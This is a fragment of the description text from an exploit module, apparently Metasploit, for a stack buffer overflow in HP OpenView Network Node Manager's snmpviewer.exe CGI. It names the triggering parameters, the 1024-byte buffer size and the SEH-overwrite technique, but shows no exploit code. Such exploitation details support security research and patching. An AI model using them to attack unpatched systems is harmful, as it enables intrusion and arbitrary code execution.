'Description' => %q{
|
||||
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
|
||||
prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe"
|
||||
CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary
|
||||
code.
|
||||
|
||||
The vulnerable code lies within the a function within "snmpviewer.exe" with a
|
||||
timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET
|
||||
or POST request. The request must contain 'act' and 'app' parameters which, when
|
||||
combined, total more than the 1024 byte stack buffer can hold.
|
||||
|
||||
It is important to note that this vulnerability must be exploited by overwriting SEH.
|
||||
While the saved return address can be smashed, a function call that occurs before
|
||||
the function returns calls "exit".
